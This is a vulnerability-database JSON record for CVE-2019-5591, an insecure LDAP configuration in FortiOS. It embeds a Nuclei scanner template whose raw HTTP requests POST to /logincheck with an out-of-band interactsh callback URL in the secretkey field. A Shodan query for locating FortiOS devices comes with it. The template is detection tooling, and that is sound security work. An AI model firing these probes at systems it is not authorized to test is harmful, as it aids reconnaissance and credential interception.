{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2019-5591/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2019-5591/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2019-5591/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2019-5591/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2019-5591/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2019-5591"},"sightings":{"href":"/api/v1/sightings/cve-2019-5591"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2019/CVE-2019-5591.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2019-5591\n\ninfo:\n  name: FortiOS - Insecure LDAP Configuration Detection\n  author: ayewo\n  severity: medium\n  description: |\n    The FortiGate LDAP configuration was detected to be insecure due to missing ca-cert, secure LDAPS, or server-identity-check, potentially exposing LDAP communications to credential interception or man-in-the-middle attacks under specific network conditions.\n  impact: |\n    Unauthenticated attackers can intercept sensitive information by impersonating LDAP servers within the same subnet.\n  remediation: |\n    Configure LDAP server settings properly and disable default configurations; update to the latest firmware version.\n  reference:\n    - https://github.com/ayewo/fortios-ldap-mitm-poc-CVE-2019-5591\n    - https://www.fortiguard.com/psirt/FG-IR-19-037\n  classification:\n    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 6.5\n    cve-id: CVE-2019-5591\n    epss-score: 0.18422\n    epss-percentile: 0.97107\n    cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: fortinet\n    product: fortigate\n    shodan-query: 'cpe:\"cpe:2.3:o:fortinet:fortios\"'\n  tags: cve,cve2019,fortinet,ldap,kev,vkev,oast,vuln\n\nvariables:\n  username: \"{{rand_text_alpha(10)}}\"\n  password: \"{{rand_text_alphanumeric(12)}}\"\n\nhttp:\n  - raw:\n      - |\n        GET /login HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        POST /logincheck HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/plain;charset=UTF-8\n\n        ajax=1&username={{username}}&secretkey={{interactsh-url}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body_1\n        words:\n          - 'name=\"username\"'\n          - 'name=\"secretkey\"'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n\n      - type: dsl\n        dsl:\n          - contains(body_2, \"0\")\n          - contains(body_2, \"1\")\n          - contains(body_2, \"2\")\n        condition: or\n\n      - type: word\n        part: body_2\n        words:\n          - \"ajax=1&username=\"\n        condition: or\n        negative: true\n\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n          - \"http\"\n# digest: 4b0a00483046022100fe1d9061f29f05b8f6d7a420b862d5903c85ec30bee5f73f80cbdeccb9cef1bf022100c0e001804669176a036940f4df504ae2effb86aa93effb901d56f015626f5f2d:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2019-5591"}